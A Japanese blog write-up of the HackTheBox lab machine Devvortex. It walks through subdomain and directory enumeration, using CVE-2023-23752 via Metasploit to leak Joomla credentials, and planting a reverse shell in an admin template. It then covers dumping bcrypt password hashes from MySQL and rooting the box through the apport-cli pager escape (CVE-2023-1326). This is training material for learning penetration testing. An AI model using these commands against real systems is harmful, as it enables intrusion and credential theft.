LoginSignup
1
1

HackTheBox Writeup:Devvortex

Posted at

はじめに

本記事はHackTheBoxのWriteupです。

Machineは、Devvortexです。

Devvortexでは、CMSのJoomlaやトラブルシューティング用ツールであるapport-cliの脆弱性について学びます。

スキャニング

はじめにポートスキャンを実行します。

以下では事前に用意したシェルを介してポートスキャンを実行しています。

##################
# Port scan tool #
##################
 *Detailed scan :1
 *Full scan     :2


 ***Select scanning method by number***
1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-03 23:38 JST
Nmap scan report for devvortex.htb (10.10.11.242)
Host is up (0.25s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DevVortex
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.24 seconds
Scan completed

上記ポートスキャンの結果を基に調査を行います。

列挙

ブラウザからIPアドレスにアクセスすると、devvortex.htbのURLにリダイレクトが行われます。

従ってドメイン名でアクセスするためには、/etc/hostsファイルにドメインとIPアドレスを記述します。

再度devvortex.htbにアクセスすると、以下の様な画面が表示されます。

スクリーンショット 2024-05-04 0.03.34.png

サブドメイン

Devvortexは架空のWeb開発会社と思われますが、トップページでは特に気になる点は見当たりませんでした。

引き続きffufを用いてサブドメインを調査します。レスポンス結果から302のステータスコードが返ってくるリクエストは、レスポンスサイズの値が全て154になっているため、-fsオプションを使用して除外します。

$ ffuf -w ~/tool/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://10.10.11.242 -H "Host: FUZZ.devvortex.htb" -c -fs 0,154


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.242
 :: Wordlist         : FUZZ: /home/kali/tool/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.devvortex.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 0,154
________________________________________________

dev                     [Status: 200, Size: 23221, Words: 5081, Lines: 502, Duration: 302ms]
:: Progress: [4989/4989] :: Job [1/1] :: 158 req/sec :: Duration: [0:00:39] :: Errors: 0 ::

devのサブドメインを検出したのでアクセスすると、別のページが確認できました。

スクリーンショット 2024-05-04 0.16.01.png

コンテンツ探索

検出したdevのサブドメインのサイトを調査するため、gobusterを用いてコンテンツ探索を行います。

$ gobuster dir -u http://dev.devvortex.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://dev.devvortex.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/images/]
/home                 (Status: 200) [Size: 23221]
/media                (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/media/]
/templates            (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/templates/]
/modules              (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/modules/]
/plugins              (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/plugins/]
/includes             (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/includes/]
/language             (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/language/]
/components           (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/components/]
/api                  (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/api/]
/cache                (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/cache/]
/libraries            (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/libraries/]
/tmp                  (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/tmp/]
/layouts              (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/layouts/]
/administrator        (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/administrator/]

興味深い/administratorのパスにアクセスすると、CMSであるJoomlaのログイン画面が表示されます。

スクリーンショット 2024-05-04 0.25.46.png

脆弱性分析

足場を作るために利用可能な脆弱性を探します。

Joomla

Joomlaの管理者アカウントに関する情報は得られなかったため、Joomlaのバージョンを調査します。

Joomlaではバージョン1.6.0以降、administrator/manifests/files/joomla.xmlのページにアクセスすることで、バージョンを確認できることが分かりました。

スクリーンショット 2024-05-05 14.18.56.png

CVE-2023-23752

DevVortexで実行されているJoomlaのバージョンを基に脆弱性の有無を調査します。

調べたところ、APIのアクセス制御の不備として、CVE-2023-23752が見つかりました。

APIのエンドポイントとしてapi/index.php/v1/config/application?public=trueにアクセスすると、認証情報に関するレスポンスが確認できます。

また、Metasploitでも当CVEに関するモジュールを確認しました。

msf6 > search Joomla 4.2

Matching Modules
================

   #  Name                                                      Disclosure Date  Rank    Check  Description
   -  ----                                                      ---------------  ----    -----  -----------
   0  auxiliary/scanner/http/joomla_api_improper_access_checks  2023-02-01       normal  Yes    Joomla API Improper Access Checks


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/http/joomla_api_improper_access_checks

show optionsを実行して必要な設定を確認します。

msf6 auxiliary(scanner/http/joomla_api_improper_access_checks) > show options

Module options (auxiliary/scanner/http/joomla_api_improper_access_checks):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The URI of the Joomla Application
   THREADS    1                yes       The number of concurrent threads (max one per host)
   VHOST                       no        HTTP server virtual host


View the full module info with the info, or info -d command.

RHOSTSを設定します。

msf6 auxiliary(scanner/http/joomla_api_improper_access_checks) > set rhosts dev.devvortex.htb
rhosts => dev.devvortex.htb

モジュールを実行すると、lewisユーザに関する認証情報が確認できました。

msf6 auxiliary(scanner/http/joomla_api_improper_access_checks) > run

[+] Users JSON saved to /home/kali/.msf4/loot/20240505143716_default_10.10.11.242_joomla.users_283705.bin
[+] Joomla Users
============

 ID   Super User  Name        Username  Email                Send Email  Register Date        Last Visit Date      Group Names
 --   ----------  ----        --------  -----                ----------  -------------        ---------------      -----------
 649  *           lewis       lewis     lewis@devvortex.htb  1           2023-09-25 16:44:24  2023-10-29 16:18:50  Super Users
 650              logan paul  logan     logan@devvortex.htb  0           2023-09-26 19:15:42                       Registered

[+] Config JSON saved to /home/kali/.msf4/loot/20240505143717_default_10.10.11.242_joomla.config_231720.bin
[+] Joomla Config
=============

 Setting        Value
 -------        -----
 db encryption  0
 db host        localhost
 db name        joomla
 db password    *******************
 db prefix      sd4fg_
 db user        lewis
 dbtype         mysqli

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

取得した認証情報を使用して管理画面にログインします。

スクリーンショット 2024-05-05 14.53.30.png

システムハッキング

アクセスの獲得を行うために、足場となる入り口を探します。

アクセスの獲得

JoomlaのSystem>Templates>Administrator Templatesから、Atum Details and Filesのテンプレートを確認します。

phpのコードで作成されているため、index.phpファイルの任意の箇所にリバースシェルを仕込みます。

スクリーンショット 2024-05-05 14.54.06.png

リバースシェル設定後、リバースシェルを取得するリスナーを用意します。

$ nc -lnvp 4444

再度アクセスしてペイロードが実行されることで、リバースシェルが取得できます。

listening on [any] 4444 ...
connect to [Your IP address] from (UNKNOWN) [10.10.11.242] 47994
bash: cannot set terminal process group (854): Inappropriate ioctl for device
bash: no job control in this shell
www-data@devvortex:~/dev.devvortex.htb/administrator$ 

リバースシェル取得後はシェルが不安定な状態になっているため、シェルを安定させます。

www-data@devvortex:~/dev.devvortex.htb/administrator$  python3  -c 'import pty;pty.spawn("/bin/bash")'

<r$  python3  -c 'import pty;pty.spawn("/bin/bash")'  
www-data@devvortex:~/dev.devvortex.htb/administrator$ 
www-data@devvortex:~/dev.devvortex.htb/administrator$ ^Z
[1]+  停止                  nc -lnvp 4444

┌──(kali㉿kali)-[~]
└──$ stty raw -echo; fg
nc -lnvp 4444
             export TERM=xterm
www-data@devvortex:~/dev.devvortex.htb/administrator$ export SHELL=bash

ユーザーフラグ

ローカルで起動しているサービスを列挙するため、ssコマンドを実行します。

$ ss -aln -t4

State   Recv-Q   Send-Q     Local Address:Port      Peer Address:Port  Process  
LISTEN  0        70             127.0.0.1:33060          0.0.0.0:*              
LISTEN  0        151            127.0.0.1:3306           0.0.0.0:*              
LISTEN  0        511              0.0.0.0:80             0.0.0.0:*              
LISTEN  0        4096       127.0.0.53%lo:53             0.0.0.0:*              
LISTEN  0        128              0.0.0.0:22             0.0.0.0:* 

ssコマンドの実行結果からmysqlが起動していると思われます。認証情報の観点で調べた結果、カレントディレクトリの一つの上のディレクトリにconfiguration.phpファイルを見つけました。

同じ認証情報が使用可能と思われるため、以下のコマンドを実行してmysqlにログインします。

$ mysql -u lewis -p -h localhost

Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 19
Server version: 8.0.35-0ubuntu0.20.04.1 (Ubuntu)

Copyright (c) 2000, 2023, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> 

データベースにログイン後、データベースを確認します。

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| joomla             |
| performance_schema |
+--------------------+
3 rows in set (0.01 sec)

joomlaデータベースに接続します。

mysql> use joomla;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

joomlaデータベースに存在するテーブルを確認します。

mysql> show tables;
+-------------------------------+
| Tables_in_joomla              |
+-------------------------------+
| sd4fg_action_log_config       |
| sd4fg_action_logs             |
| sd4fg_action_logs_extensions  |
| sd4fg_action_logs_users       |
| sd4fg_assets                  |
| sd4fg_associations            |
| sd4fg_banner_clients          |
| sd4fg_banner_tracks           |
| sd4fg_banners                 |
| sd4fg_categories              |
| sd4fg_contact_details         |
| sd4fg_content                 |
| sd4fg_content_frontpage       |
| sd4fg_content_rating          |
| sd4fg_content_types           |
| sd4fg_contentitem_tag_map     |
| sd4fg_extensions              |
| sd4fg_fields                  |
| sd4fg_fields_categories       |
| sd4fg_fields_groups           |
| sd4fg_fields_values           |
| sd4fg_finder_filters          |
| sd4fg_finder_links            |
| sd4fg_finder_links_terms      |
| sd4fg_finder_logging          |
| sd4fg_finder_taxonomy         |
| sd4fg_finder_taxonomy_map     |
| sd4fg_finder_terms            |
| sd4fg_finder_terms_common     |
| sd4fg_finder_tokens           |
| sd4fg_finder_tokens_aggregate |
| sd4fg_finder_types            |
| sd4fg_history                 |
| sd4fg_languages               |
| sd4fg_mail_templates          |
| sd4fg_menu                    |
| sd4fg_menu_types              |
| sd4fg_messages                |
| sd4fg_messages_cfg            |
| sd4fg_modules                 |
| sd4fg_modules_menu            |
| sd4fg_newsfeeds               |
| sd4fg_overrider               |
| sd4fg_postinstall_messages    |
| sd4fg_privacy_consents        |
| sd4fg_privacy_requests        |
| sd4fg_redirect_links          |
| sd4fg_scheduler_tasks         |
| sd4fg_schemas                 |
| sd4fg_session                 |
| sd4fg_tags                    |
| sd4fg_template_overrides      |
| sd4fg_template_styles         |
| sd4fg_ucm_base                |
| sd4fg_ucm_content             |
| sd4fg_update_sites            |
| sd4fg_update_sites_extensions |
| sd4fg_updates                 |
| sd4fg_user_keys               |
| sd4fg_user_mfa                |
| sd4fg_user_notes              |
| sd4fg_user_profiles           |
| sd4fg_user_usergroup_map      |
| sd4fg_usergroups              |
| sd4fg_users                   |
| sd4fg_viewlevels              |
| sd4fg_webauthn_credentials    |
| sd4fg_workflow_associations   |
| sd4fg_workflow_stages         |
| sd4fg_workflow_transitions    |
| sd4fg_workflows               |
+-------------------------------+
71 rows in set (0.00 sec)

SQLを実行してユーザ情報と思われるテーブルのデータを確認します。

+-----+------------+----------+---------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+---------------------------------------------------------------------------------------------------------------------------------------------------------+---------------+------------+--------+------+--------------+--------------+
| id  | name       | username | email               | password                                                     | block | sendEmail | registerDate        | lastvisitDate       | activation | params                                                                                                                                                  | lastResetTime | resetCount | otpKey | otep | requireReset | authProvider |
+-----+------------+----------+---------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+---------------------------------------------------------------------------------------------------------------------------------------------------------+---------------+------------+--------+------+--------------+--------------+
| 649 | lewis      | lewis    | lewis@devvortex.htb | $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u |     0 |         1 | 2023-09-25 16:44:24 | 2024-05-05 06:34:53 | 0          |                                                                                                                                                         | NULL          |          0 |        |      |            0 |              |
| 650 | logan paul | logan    | logan@devvortex.htb | $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12 |     0 |         0 | 2023-09-26 19:15:42 | NULL                |            | {"admin_style":"","admin_language":"","language":"","editor":"","timezone":"","a11y_mono":"0","a11y_contrast":"0","a11y_highlight":"0","a11y_font":"0"} | NULL          |          0 |        |      |            0 |              |
+-----+------------+----------+---------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+---------------------------------------------------------------------------------------------------------------------------------------------------------+---------------+------------+--------+------+--------------+--------------+
2 rows in set (0.00 sec)

loganユーザのパスワードを復号して、sshログイン後ユーザフラグを取得します。

ルートフラグ

ルートフラグを取得するためには、権限のエスカレーションが必要です。

権限のエスカレーションを行うにあたって、脆弱な箇所を調査します。

sudo -lコマンドの実行結果を踏まえて、apport-cliを設定していることが分かります。

Matching Defaults entries for logan on devvortex:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User logan may run the following commands on devvortex:
    (ALL : ALL) /usr/bin/apport-cli

/usr/bin/apport-cliファイルが含まれているパッケージを特定します。

logan@devvortex:~$ dpkg -S /usr/bin/apport-cli
apport: /usr/bin/apport-cli

apportパッケージのバージョンを確認します。以下はdpkgコマンドの結果ですが、apport-cli -vでもバージョンが確認できます。

logan@devvortex:~$ dpkg -s apport
Package: apport
Status: hold ok installed
Priority: optional
Section: utils
Installed-Size: 776
Maintainer: Ubuntu Developers <ubuntu-devel-discuss@lists.ubuntu.com>
Architecture: all
Version: 2.20.11-0ubuntu27
Replaces: core-dump-handler, python-apport (<< 2.2-0ubuntu1)
Provides: core-dump-handler
Depends: python3, python3-apport (>= 2.20.11-0ubuntu27), lsb-base (>= 3.0-6), python3-gi, gir1.2-glib-2.0 (>= 1.29.17)
Recommends: apport-symptoms, python3-systemd
Suggests: apport-gtk | apport-kde, policykit-1
Breaks: python-apport (<< 2.2-0ubuntu1)
Conflicts: core-dump-handler
Conffiles:
 /etc/apport/blacklist.d/README.blacklist c2ed1eb9a17ec2550747b4960cf4b73c
 /etc/apport/blacklist.d/apport 44503501302b80099552bac0204a45c1
 /etc/apport/crashdb.conf 4202dae3eccfa5bbb33a0a9acfcd3724
 /etc/bash_completion.d/apport_completion dfe766d9328bb5c895038b44185133f9
 /etc/cron.daily/apport df5d3bc9ab3a67b58156376318077304
 /etc/default/apport 3446c6cac185f44237f59786e006ebe4
 /etc/init.d/apport f57e2de719f383ed276964881af116f8
 /etc/logrotate.d/apport fa54dab59ef899b48d5455c976008df4
Description: automatically generate crash reports for debugging
 apport automatically collects data from crashed processes and
 compiles a problem report in /var/crash/. This utilizes the crashdump
 helper hook provided by the Ubuntu kernel.
 .
 This package also provides a command line frontend for browsing and
 handling the crash reports. For desktops, you should consider
 installing the GTK+ or Qt user interface (apport-gtk or apport-kde).
Homepage: https://wiki.ubuntu.com/Apport

上記出力結果を踏まえて、apport-cliに関する権限昇格の脆弱性を調査すると、CVE-2023-1326の脆弱性が見つかりました。

CVE-2023-1326は、特権のないユーザーがsudo apport-cliコマンドを実行できるようにシステムが特別に構成されている場合、ポケットベルとして構成されることで端末のサイズを設定できるため、ローカルの攻撃者が特権を昇格する可能性があります。

従ってCVE-2023-1326を基に--file-bugオプションを付与してsudo apport-cliコマンドを実行します。コマンド実行後、1を選択します。

$ sudo /usr/bin/apport-cli --file-bug

*** What kind of problem do you want to report?


Choices:
  1: Display (X.org)
  2: External or internal storage devices (e. g. USB sticks)
  3: Security related problems
  4: Sound/audio related problems
  5: dist-upgrade
  6: installation
  7: installer
  8: release-upgrade
  9: ubuntu-release-upgrader
  10: Other problem
  C: Cancel
Please choose (1/2/3/4/5/6/7/8/9/10/C): 1

2を選択します。

*** Collecting problem information

The collected information can be sent to the developers to improve the
application. This might take a few minutes.

*** What display problem do you observe?


Choices:
  1: I don't know
  2: Freezes or hangs during boot or usage
  3: Crashes or restarts back to login screen
  4: Resolution is incorrect
  5: Shows screen corruption
  6: Performance is worse than expected
  7: Fonts are the wrong size
  8: Other display-related problem
  C: Cancel
Please choose (1/2/3/4/5/6/7/8/C): 2

vを選択します。

*** 

To debug X freezes, please see https://wiki.ubuntu.com/X/Troubleshooting/Freeze

Press any key to continue... 

..dpkg-query: no packages found matching xorg
...........

*** Send problem report to the developers?

After the problem report has been sent, please fill out the form in the
automatically opened web browser.

What would you like to do? Your options are:
  S: Send report (1.4 KB)
  V: View report
  K: Keep report file for sending later or copying to somewhere else
  I: Cancel and ignore future crashes of this program version
  C: Cancel
Please choose (S/V/K/I/C): v

!/bin/bashを入力して、シェルを起動します。

== ApportVersion =================================
2.20.11-0ubuntu27

== Architecture =================================
amd64

== CasperMD5CheckResult =================================
skip

== Date =================================
Sun May  5 10:00:03 2024

== DistroRelease =================================
Ubuntu 20.04

== Package =================================
xorg (not installed)

== ProblemType =================================
Bug

== ProcCpuinfoMinimal =================================
processor       : 1
vendor_id       : AuthenticAMD
cpu family      : 23
model           : 49
model name      : AMD EPYC 7302P 16-Core Processor
stepping        : 0
cpu MHz         : 2994.375
cache size      : 512 KB
physical id     : 2
siblings        : 1
core id         : 0
cpu cores       : 1
apicid          : 2
initial apicid  : 2
fpu             : yes
fpu_exception   : yes
cpuid level     : 16
!/bin/bash

ルートユーザに昇格したことが確認できます。

root@devvortex:/home/logan# id
uid=0(root) gid=0(root) groups=0(root)

おわりに

Devvortexは、基本的な知識やテクニックを用いてフラグを取得できるように構成されているため、偵察行為及び脆弱性の悪用について理解を深めることができます。

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1